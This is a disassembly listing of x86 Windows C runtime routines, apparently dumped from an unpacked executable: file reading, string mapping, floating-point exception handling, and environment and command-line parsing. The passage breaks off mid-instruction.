loc_425A95: ; CODE XREF: sub_425910:loc_425A88j jmp loc_42599D ; --------------------------------------------------------------------------- loc_425A9A: ; CODE XREF: sub_425910+96j ; sub_425910+176j ... jmp short loc_425AEC ; --------------------------------------------------------------------------- loc_425A9C: ; CODE XREF: sub_425910+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] mov ecx, [eax+edx] push ecx nop call near ptr 2720000h test eax, eax jz short loc_425AE3 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_425AEC ; --------------------------------------------------------------------------- loc_425AE3: ; CODE XREF: sub_425910+1BFj nop call near ptr 26908EFh mov [ebp+var_C], eax loc_425AEC: ; CODE XREF: sub_425910:loc_425A9Aj ; sub_425910+1D1j cmp [ebp+var_10], 0 jnz loc_425B76 cmp [ebp+var_C], 0 jz short loc_425B2A cmp [ebp+var_C], 5 jnz short loc_425B19 call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_425B25 ; --------------------------------------------------------------------------- loc_425B19: ; CODE XREF: sub_425910+1F0j mov edx, [ebp+var_C] push edx call sub_420480 add esp, 4 loc_425B25: ; CODE XREF: sub_425910+207j or eax, 0FFFFFFFFh jmp short loc_425B7F ; --------------------------------------------------------------------------- loc_425B2A: ; CODE XREF: sub_425910+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_425B5B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_425B5B xor eax, eax jmp short loc_425B7F ; --------------------------------------------------------------------------- loc_425B5B: ; CODE XREF: sub_425910+23Aj ; sub_425910+245j call sub_420520 mov dword ptr [eax], 1Ch call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_425B7F ; --------------------------------------------------------------------------- loc_425B76: ; CODE XREF: sub_425910+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] loc_425B7F: ; CODE XREF: sub_425910+21j ; sub_425910+218j ... mov esp, ebp pop ebp retn sub_425910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B90 proc near ; CODE XREF: sub_41A6D0+EBp ; sub_41FFF0+121p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434268 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB1D0, 0 jnz short loc_425C16 push 0 push 0 push 1 push offset dword_434260 push 100h push 0 nop call near ptr 28E0000h test eax, eax jz short loc_425BE7 mov dword_4DB1D0, 1 jmp short loc_425C16 ; --------------------------------------------------------------------------- loc_425BE7: ; CODE XREF: sub_425B90+49j push 0 push 0 push 1 push offset dword_43425C push 100h push 0 nop call near ptr 28D0000h test eax, eax jz short loc_425C0F mov dword_4DB1D0, 2 jmp short loc_425C16 ; --------------------------------------------------------------------------- loc_425C0F: ; CODE XREF: sub_425B90+71j xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425C16: ; CODE XREF: sub_425B90+2Dj ; sub_425B90+55j ... cmp [ebp+arg_C], 0 jle short loc_425C2F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_425EA0 add esp, 8 mov [ebp+arg_C], eax loc_425C2F: ; CODE XREF: sub_425B90+8Aj cmp dword_4DB1D0, 2 jnz short loc_425C5B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call near ptr 28D0000h nop jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425C5B: ; CODE XREF: sub_425B90+A6j cmp dword_4DB1D0, 1 jnz loc_425E7F cmp [ebp+arg_18], 0 jnz short loc_425C77 mov edx, dword_4DB1C8 mov [ebp+arg_18], edx loc_425C77: ; CODE XREF: sub_425B90+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax nop call near ptr 2810000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_425CAB xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425CAB: ; CODE XREF: sub_425B90+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_425CED ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_425CED: ; CODE XREF: sub_425B90+144j cmp [ebp+var_24], 0 jnz short loc_425CFA xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425CFA: ; CODE XREF: sub_425B90+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 2810000h test eax, eax jnz short loc_425D21 xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425D21: ; CODE XREF: sub_425B90+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 28E0000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_425D4B xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425D4B: ; CODE XREF: sub_425B90+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_425D9B cmp [ebp+arg_14], 0 jz short loc_425D96 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_425D6D xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425D6D: ; CODE XREF: sub_425B90+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 28E0000h nop test eax, eax jnz short loc_425D96 xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425D96: ; CODE XREF: sub_425B90+1CCj ; sub_425B90+1FDj jmp loc_425E7A ; --------------------------------------------------------------------------- loc_425D9B: ; CODE XREF: sub_425B90+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_425DE3 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_425DE3: ; CODE XREF: sub_425B90+23Aj cmp [ebp+var_20], 0 jnz short loc_425DF0 xor eax, eax jmp loc_425E81 ; --------------------------------------------------------------------------- loc_425DF0: ; CODE XREF: sub_425B90+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 28E0000h test eax, eax jnz short loc_425E16 xor eax, eax jmp short loc_425E81 ; --------------------------------------------------------------------------- loc_425E16: ; CODE XREF: sub_425B90+280j cmp [ebp+arg_14], 0 jnz short loc_425E4A push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx nop call near ptr 2710000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_425E48 xor eax, eax jmp short loc_425E81 ; --------------------------------------------------------------------------- loc_425E48: ; CODE XREF: sub_425B90+2B2j jmp short loc_425E7A ; --------------------------------------------------------------------------- loc_425E4A: ; CODE XREF: sub_425B90+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx nop call near ptr 2710000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_425E7A xor eax, eax jmp short loc_425E81 ; --------------------------------------------------------------------------- loc_425E7A: ; CODE XREF: sub_425B90:loc_425D96j ; sub_425B90:loc_425E48j ... mov eax, [ebp+var_28] jmp short loc_425E81 ; --------------------------------------------------------------------------- loc_425E7F: ; CODE XREF: sub_425B90+D2j xor eax, eax loc_425E81: ; CODE XREF: sub_425B90+81j ; sub_425B90+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_425B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425EA0 proc near ; CODE XREF: sub_425B90+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_425EB2: ; CODE XREF: sub_425EA0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_425ED7 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_425ED7 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_425EB2 ; --------------------------------------------------------------------------- loc_425ED7: ; CODE XREF: sub_425EA0+20j ; sub_425EA0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_425EE9 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_425EEC ; --------------------------------------------------------------------------- loc_425EE9: ; CODE XREF: sub_425EA0+3Fj mov eax, [ebp+arg_4] loc_425EEC: ; CODE XREF: sub_425EA0+47j mov esp, ebp pop ebp retn sub_425EA0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h call sub_41F970 mov [ebp-8], eax mov eax, [ebp-8] mov ecx, [eax+50h] push ecx mov edx, [ebp+8] push edx call sub_4260B0 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jz short loc_425F23 mov eax, [ebp-10h] cmp dword ptr [eax+8], 0 jnz short loc_425F32 loc_425F23: ; CODE XREF: ___:00425F18j mov ecx, [ebp+0Ch] push ecx nop call near ptr 28E10BCh jmp loc_4260AA ; --------------------------------------------------------------------------- loc_425F32: ; CODE XREF: ___:00425F21j mov edx, [ebp-10h] cmp dword ptr [edx+8], 5 jnz short loc_425F4F mov eax, [ebp-10h] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_4260AA ; --------------------------------------------------------------------------- loc_425F4F: ; CODE XREF: ___:00425F39j mov ecx, [ebp-10h] cmp dword ptr [ecx+8], 1 jnz short loc_425F60 or eax, 0FFFFFFFFh jmp loc_4260AA ; --------------------------------------------------------------------------- loc_425F60: ; CODE XREF: ___:00425F56j mov edx, [ebp-10h] mov eax, [edx+8] mov [ebp-4], eax mov ecx, [ebp-8] mov edx, [ecx+54h] mov [ebp-18h], edx mov eax, [ebp-8] mov ecx, [ebp+0Ch] mov [eax+54h], ecx mov edx, [ebp-10h] cmp dword ptr [edx+4], 8 jnz loc_426087 mov eax, dword_444440 mov [ebp-14h], eax jmp short loc_425F9B ; --------------------------------------------------------------------------- loc_425F92: ; CODE XREF: ___:00425FC0j mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_425F9B: ; CODE XREF: ___:00425F90j mov edx, dword_444440 add edx, dword_444444 cmp [ebp-14h], edx jge short loc_425FC2 mov eax, [ebp-14h] imul eax, 0Ch mov ecx, [ebp-8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_425F92 ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: ___:00425FAAj mov eax, [ebp-8] mov ecx, [eax+58h] mov [ebp-0Ch], ecx mov edx, [ebp-10h] cmp dword ptr [edx], 0C000008Eh jnz short loc_425FE5 mov eax, [ebp-8] mov dword ptr [eax+58h], 83h jmp loc_42606D ; --------------------------------------------------------------------------- loc_425FE5: ; CODE XREF: ___:00425FD4j mov ecx, [ebp-10h] cmp dword ptr [ecx], 0C0000090h jnz short loc_425FFC mov edx, [ebp-8] mov dword ptr [edx+58h], 81h jmp short loc_42606D ; --------------------------------------------------------------------------- loc_425FFC: ; CODE XREF: ___:00425FEEj mov eax, [ebp-10h] cmp dword ptr [eax], 0C0000091h jnz short loc_426013 mov ecx, [ebp-8] mov dword ptr [ecx+58h], 84h jmp short loc_42606D ; --------------------------------------------------------------------------- loc_426013: ; CODE XREF: ___:00426005j mov edx, [ebp-10h] cmp dword ptr [edx], 0C0000093h jnz short loc_42602A mov eax, [ebp-8] mov dword ptr [eax+58h], 85h jmp short loc_42606D ; --------------------------------------------------------------------------- loc_42602A: ; CODE XREF: ___:0042601Cj mov ecx, [ebp-10h] cmp dword ptr [ecx], 0C000008Dh jnz short loc_426041 mov edx, [ebp-8] mov dword ptr [edx+58h], 82h jmp short loc_42606D ; --------------------------------------------------------------------------- loc_426041: ; CODE XREF: ___:00426033j mov eax, [ebp-10h] cmp dword ptr [eax], 0C000008Fh jnz short loc_426058 mov ecx, [ebp-8] mov dword ptr [ecx+58h], 86h jmp short loc_42606D ; --------------------------------------------------------------------------- loc_426058: ; CODE XREF: ___:0042604Aj mov edx, [ebp-10h] cmp dword ptr [edx], 0C0000092h jnz short loc_42606D mov eax, [ebp-8] mov dword ptr [eax+58h], 8Ah loc_42606D: ; CODE XREF: ___:00425FE0j ; ___:00425FFAj ... mov ecx, [ebp-8] mov edx, [ecx+58h] push edx push 8 call dword ptr [ebp-4] add esp, 8 mov eax, [ebp-8] mov ecx, [ebp-0Ch] mov [eax+58h], ecx jmp short loc_42609E ; --------------------------------------------------------------------------- loc_426087: ; CODE XREF: ___:00425F82j mov edx, [ebp-10h] mov dword ptr [edx+8], 0 mov eax, [ebp-10h] mov ecx, [eax+4] push ecx call dword ptr [ebp-4] add esp, 4 loc_42609E: ; CODE XREF: ___:00426085j mov edx, [ebp-8] mov eax, [ebp-18h] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_4260AA: ; CODE XREF: ___:00425F2Dj ; ___:00425F4Aj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260B0 proc near ; CODE XREF: ___:00425F09p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4260BA: ; CODE XREF: sub_4260B0+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_4260E2 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_44444C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_4260E2 jmp short loc_4260BA ; --------------------------------------------------------------------------- loc_4260E2: ; CODE XREF: sub_4260B0+12j ; sub_4260B0+2Ej mov eax, dword_44444C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_4260FE mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_426102 loc_4260FE: ; CODE XREF: sub_4260B0+42j xor eax, eax jmp short loc_426105 ; --------------------------------------------------------------------------- loc_426102: ; CODE XREF: sub_4260B0+4Cj mov eax, [ebp+var_4] loc_426105: ; CODE XREF: sub_4260B0+50j mov esp, ebp pop ebp retn sub_4260B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DC7C8, 0 jnz short loc_426122 call sub_420320 loc_426122: ; CODE XREF: ___:0042611Bj mov eax, dword_4DB7A8 mov [ebp-4], eax mov ecx, [ebp-4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_42618C loc_426136: ; CODE XREF: ___:loc_426173j mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax mov ecx, [ebp-4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_426175 mov eax, [ebp-4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_426175 mov edx, [ebp-4] xor eax, eax mov al, [edx] push eax call sub_42CCB0 add esp, 4 test eax, eax jz short loc_426173 mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_426173: ; CODE XREF: ___:00426168j jmp short loc_426136 ; --------------------------------------------------------------------------- loc_426175: ; CODE XREF: ___:00426149j ; ___:00426154j mov edx, [ebp-4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_42618A mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_42618A: ; CODE XREF: ___:0042617Fj jmp short loc_4261A3 ; --------------------------------------------------------------------------- loc_42618C: ; CODE XREF: ___:00426134j ; ___:004261A1j mov edx, [ebp-4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_4261A3 mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx jmp short loc_42618C ; --------------------------------------------------------------------------- loc_4261A3: ; CODE XREF: ___:loc_42618Aj ; ___:00426196j ... mov edx, [ebp-4] xor eax, eax mov al, [edx] test eax, eax jz short loc_4261C5 mov ecx, [ebp-4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_4261C5 mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax jmp short loc_4261A3 ; --------------------------------------------------------------------------- loc_4261C5: ; CODE XREF: ___:004261ACj ; ___:004261B8j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h cmp dword_4DC7C8, 0 jnz short loc_4261E4 call sub_420320 loc_4261E4: ; CODE XREF: ___:004261DDj mov dword ptr [ebp-8], 0 mov eax, dword_4DB11C mov [ebp-4], eax loc_4261F3: ; CODE XREF: ___:00426227j mov ecx, [ebp-4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_426229 mov eax, [ebp-4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_426211 mov edx, [ebp-8] add edx, 1 mov [ebp-8], edx loc_426211: ; CODE XREF: ___:00426206j mov eax, [ebp-4] push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-4] lea edx, [ecx+eax+1] mov [ebp-4], edx jmp short loc_4261F3 ; --------------------------------------------------------------------------- loc_426229: ; CODE XREF: ___:004261FBj push 6Dh push offset dword_434280 push 2 mov eax, [ebp-8] lea ecx, ds:4[eax*4] push ecx call sub_414DD0 add esp, 10h mov [ebp-0Ch], eax mov edx, [ebp-0Ch] mov dword_4DB0CC, edx cmp dword_4DB0CC, 0 jnz short loc_426264 push 9 call sub_41A9A0 add esp, 4 loc_426264: ; CODE XREF: ___:00426258j mov eax, dword_4DB11C mov [ebp-4], eax jmp short loc_426277 ; --------------------------------------------------------------------------- loc_42626E: ; CODE XREF: ___:loc_4262E5j mov ecx, [ebp-4] add ecx, [ebp-10h] mov [ebp-4], ecx loc_426277: ; CODE XREF: ___:0042626Cj mov edx, [ebp-4] movsx eax, byte ptr [edx] test eax, eax jz short loc_4262E7 mov ecx, [ebp-4] push ecx call sub_414BE0 add esp, 4 add eax, 1 mov [ebp-10h], eax mov edx, [ebp-4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_4262E5 push 79h push offset dword_434280 push 2 mov ecx, [ebp-10h] push ecx call sub_414DD0 add esp, 10h mov edx, [ebp-0Ch] mov [edx], eax mov eax, [ebp-0Ch] cmp dword ptr [eax], 0 jnz short loc_4262CA push 9 call sub_41A9A0 add esp, 4 loc_4262CA: ; CODE XREF: ___:004262BEj mov ecx, [ebp-4] push ecx mov edx, [ebp-0Ch] mov eax, [edx] push eax call sub_4184C0 add esp, 8 mov ecx, [ebp-0Ch] add ecx, 4 mov [ebp-0Ch], ecx loc_4262E5: ; CODE XREF: ___:0042629Cj jmp short loc_42626E ; --------------------------------------------------------------------------- loc_4262E7: ; CODE XREF: ___:0042627Fj push 2 mov edx, dword_4DB11C push edx call sub_415860 add esp, 8 mov dword_4DB11C, 0 mov eax, [ebp-0Ch] mov dword ptr [eax], 0 mov dword_4DC7C4, 1 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h cmp dword_4DC7C8, 0 jnz short loc_426334 call sub_420320 loc_426334: ; CODE XREF: ___:0042632Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 nop call near ptr 2680000h mov off_4DB0DC, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, dword_4DB7A8 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_426367 mov edx, off_4DB0DC mov [ebp-14h], edx jmp short loc_42636F ; --------------------------------------------------------------------------- loc_426367: ; CODE XREF: ___:0042635Aj mov eax, dword_4DB7A8 mov [ebp-14h], eax loc_42636F: ; CODE XREF: ___:00426365j mov ecx, [ebp-14h] mov [ebp-10h], ecx lea edx, [ebp-4] push edx lea eax, [ebp-0Ch] push eax push 0 push 0 mov ecx, [ebp-10h] push ecx call sub_426400 add esp, 14h push 80h push offset dword_43428C push 2 mov edx, [ebp-0Ch] mov eax, [ebp-4] lea ecx, [eax+edx*4] push ecx call sub_414DD0 add esp, 10h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_4263BE push 8 call sub_41A9A0 add esp, 4 loc_4263BE: ; CODE XREF: ___:004263B2j lea edx, [ebp-4] push edx lea eax, [ebp-0Ch] push eax mov ecx, [ebp-0Ch] mov edx, [ebp-8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp-8] push ecx mov edx, [ebp-10h] push edx call sub_426400 add esp, 14h mov eax, [ebp-0Ch] sub eax, 1 mov dword_4DB0C0, eax mov ecx, [ebp-8] mov dword_4DB0C4, ecx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426400 proc near ; CODE XREF: ___:00426385p ; ___:004263D8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_426435 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_426435: ; CODE XREF: sub_426400+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_42650D loc_426444: ; CODE XREF: sub_426400:loc_4264CDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_4264D2 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_4264D2 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, byte_4DB681[edx] and eax, 4 test eax, eax jz short loc_4264A7 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_4264A7 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4264A7: ; CODE XREF: sub_426400+76j ; sub_426400+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_4264CD mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_4264CD: ; CODE XREF: sub_426400+B8j jmp loc_426444 ; --------------------------------------------------------------------------- loc_4264D2: ; CODE XREF: sub_426400+56j ; sub_426400+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_4264F4 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_4264F4: ; CODE XREF: sub_426400+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_426508 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426508: ; CODE XREF: sub_426400+FDj jmp loc_4265DC ; --------------------------------------------------------------------------- loc_42650D: ; CODE XREF: sub_426400+3Ej ; sub_426400+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_426533 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_426533: ; CODE XREF: sub_426400+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, byte_4DB681[ecx] and edx, 4 test edx, edx jz short loc_42658B mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_426582 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_426582: ; CODE XREF: sub_426400+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42658B: ; CODE XREF: sub_426400+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_4265B7 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_4265B7 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_42650D loc_4265B7: ; CODE XREF: sub_426400+197j ; sub_426400+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_4265CF mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_4265DC ; --------------------------------------------------------------------------- loc_4265CF: ; CODE XREF: sub_426400+1C2j cmp [ebp+arg_8], 0 jz short loc_4265DC mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_4265DC: ; CODE XREF: sub_426400:loc_426508j ; sub_426400+1CDj ... mov [ebp+var_14], 0 loc_4265E3: ; CODE XREF: sub_426400+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42660E loc_4265ED: ; CODE XREF: sub_426400+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_426603 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42660E loc_426603: ; CODE XREF: sub_426400+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4265ED ; --------------------------------------------------------------------------- loc_42660E: ; CODE XREF: sub_426400+1EBj ; sub_426400+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42661D jmp loc_4267FB ; --------------------------------------------------------------------------- loc_42661D: ; CODE XREF: sub_426400+216j cmp [ebp+arg_4], 0 jz short loc_426634 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, 